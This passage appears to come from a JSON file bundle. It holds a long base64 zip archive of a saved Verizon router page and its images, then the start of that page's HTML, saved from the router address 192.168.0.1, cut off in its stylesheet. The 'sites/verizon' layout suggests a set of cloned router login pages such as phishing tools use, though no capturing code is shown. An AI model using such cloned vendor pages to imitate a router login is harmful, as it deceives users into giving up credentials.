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\n4WBIioEMkyv5ijoBbB9iUSqf1aif86up59gOZPx0oJnUQcccc40UoP0/UEsDBBQDAAAIAOJ+p0ix\nqnnfNgIAAHYCAAApAAAAVmVyaXpvbl9maWxlcy9hY3Rpb250ZWNfcnRfYnRtX2Nvcm5lci5naWa9\nkdtPUgEAh4/G0jRtrVHqvC9nCysvuTRXaStvi8qyMp+yh5586LmnEksrRed6CDIdZMBqcLgJHiQ4\nXISDXANCClQGGBAIoTACDYp/wt/D73v+9nV0tTc1DxQAhcDPFADDMATJ4vGd3d2/icQOJFQGglux\nP4lINAaJl92egMP9KxSOkEGYxBBTOTJQoGJACFek5kt0PFgLSXVfFEaBTK81r6qNNqPVYf7hXLG7\nLDanL/Db6w+NEpkjBHDsPZvMlMzSRXMsySfeEihAuGINcxERyA0LUh1fooVVZjFiUuisco1lzeVz\nezddnsAoERwhMMZm2FMfeDN0EZkJk0DxHFtCm5dTuTIKR0qbl1G5Ujqk/MxfAhcRoeKrXLsiWTYr\n9Va9ZU33bVVjsjGFiFxrUZts39c31t0+jz+04dv0B8Ph7ag3EAptRYLh7Vg88d8/lUolk0lgb1cR\nR2WkWZO+dBMgy/T0/hAOXXSnKK8xH4MB8BMTuOHO/Z0vX49PTk4NoQtuYpsrzo8R302jC+uu5ZXn\nfaTgp1GnuxquVFVWYTJY7Kn64p7Sk5fOXSCIcJn1Odn3SmsPN7WpWGj0sfbrWf37yk61XT5hoXRi\nz2BLUf19N460VGMOiPC3enNzD96+23D1UOvxNw18Eu5Ffje+z1H3EHmVGS1ufLvgyhrOvvikhlRr\n6B0vOjtoLx+ofI46WoJtfmx40DFRXl3WPiynPdISiINOu4pD1c+24nJKurm0no5nANDyD1BLAwQK\nAwAAAADifqdILI24Ul8AAABfAAAAIgAAAFZlcml6b25fZmlsZXMvYWN0aW9udGVjX3J0X2NvbC5n\naWZHSUY4OWEYAAEAs/8A8fP2oq/Aoa6/ucLO09nhuMLOh5muwMDA////AAAAAAAAAAAAAAAAAAAA\nAAAAAAAAIfkEAQAABwAsAAAAABgAAQAABAwQyTkIIMGIUo7/XwQAO1BLAwQUAwAACADifqdIGzaN\n6tIBAABHAgAAKQAAAFZlcml6b25fZmlsZXMvYWN0aW9udGVjX3J0X3RvcF9jb3JuZXIuZ2lmzZHp\n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\nJC64RVlNoT5ZOYIGEmhKskmE4ish5NMJVNij49XZO9AqFbQSp9IztwpoWOMb2ZjGNIQBDFVs4hKL\nsAMbqLAEGGQgAh0pWdoI1j5MWGECN4FJ03gu72zvhFrweiAv5l5Spa8Cc7hwVDXCEXVl/EIY8VnE\nIzjzBCacwF2/muat7VjeDpgW1HRj+9AhtnbFb9N4BKiAt4CXi7u37/Pru2TBnqGNbnyDGtNwRnte\nAYpFDILwSrjACNQ+EQAOBAO8aPg5EZleyfPEZCkuWkNI4wIZtm/p6tO1yHjhiTOFgxvTeBEtNgEK\nSCCCDV5gAhMoUIB442zMADfJuPEO5Pvv8knblkdJARZzUBTvPE5OQcCbooQABSBgV/gButMebZDR\nkJ9KEhNx2dExErEztWcdAYQ8ErEwK2cfuaNd+kIUEREQADtQSwECPwMUAwAACADifqdIDgh0i80X\nAAD3VAAADAAAAAAAAAAAACCApIEAAAAAVmVyaXpvbi5odG1sUEsBAj8DFAMAAAAA4n6nSAAAAAAA\nAAAAAAAAAA4AAAAAAAAAAAAQgO1B9xcAAFZlcml6b25fZmlsZXMvUEsBAj8DCgMAAAAA4n6nSP9e\nEPFgAAAAYAAAACMAAAAAAAAAAAAggKSBIxgAAFZlcml6b25fZmlsZXMvYWN0aW9udGVjX2J0bV9i\nYXIuZ2lmUEsBAj8DFAMAAAgA4n6nSPeKjC4CAgAAXAIAACkAAAAAAAAAAAAggKSBxBgAAFZlcml6\nb25fZmlsZXMvYWN0aW9udGVjX2x0X2J0bV9jb3JuZXIuZ2lmUEsBAj8DCgMAAAAA4n6nSH6jlAtd\nAAAAXQAAACIAAAAAAAAAAAAggKSBDRsAAFZlcml6b25fZmlsZXMvYWN0aW9udGVjX2x0X2NvbC5n\naWZQSwECPwMUAwAACADifqdIfPZIlQ8CAABOAgAAKQAAAAAAAAAAACCApIGqGwAAVmVyaXpvbl9m\naWxlcy9hY3Rpb250ZWNfbHRfdG9wX2Nvcm5lci5naWZQSwECPwMUAwAACADifqdIsap53zYCAAB2\nAgAAKQAAAAAAAAAAACCApIEAHgAAVmVyaXpvbl9maWxlcy9hY3Rpb250ZWNfcnRfYnRtX2Nvcm5l\nci5naWZQSwECPwMKAwAAAADifqdILI24Ul8AAABfAAAAIgAAAAAAAAAAACCApIF9IAAAVmVyaXpv\nbl9maWxlcy9hY3Rpb250ZWNfcnRfY29sLmdpZlBLAQI/AxQDAAAIAOJ+p0gbNo3q0gEAAEcCAAAp\nAAAAAAAAAAAAIICkgRwhAABWZXJpem9uX2ZpbGVzL2FjdGlvbnRlY19ydF90b3BfY29ybmVyLmdp\nZlBLAQI/AwoDAAAAAOJ+p0iF25MzXQAAAF0AAAAjAAAAAAAAAAAAIICkgTUjAABWZXJpem9uX2Zp\nbGVzL2FjdGlvbnRlY190b3BfYmFyLmdpZlBLAQI/AwoDAAAAAOJ+p0hpkpY/LAAAACwAAAAXAAAA\nAAAAAAAAIICkgdMjAABWZXJpem9uX2ZpbGVzL2VtcHR5LmdpZlBLAQI/AwoDAAAAAOJ+p0grjhti\newwAAHsMAAAZAAAAAAAAAAAAIICkgTQkAABWZXJpem9uX2ZpbGVzL3Z6X2xvZ28uZ2lmUEsFBgAA\nAAAMAAwAoAMAAOYwAAAAAA==\n"
  },
  {
    "path": "sites/verizon/Verizon.html",
    "content": "\n<!-- saved from url=(0019)http://192.168.0.1/ -->\n<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"><meta http-equiv=\"EXPIRES\" content=\"Tue, 29 Mar 2016 13:36:49 GMT\"><meta http-equiv=\"CACHE-CONTROL\" content=\"NO-CACHE\"><meta http-equiv=\"PRAGMA\" content=\"NO-CACHE\"><title>Verizon</title><style type=\"text/css\">BODY {color: #000000; font-family: Verdana, Helvetica, Arial, sans-serif; background-color: #D32000; background-image: url('images/gradientstrip.gif'); background-repeat: repeat-x; }\nTD, INPUT, 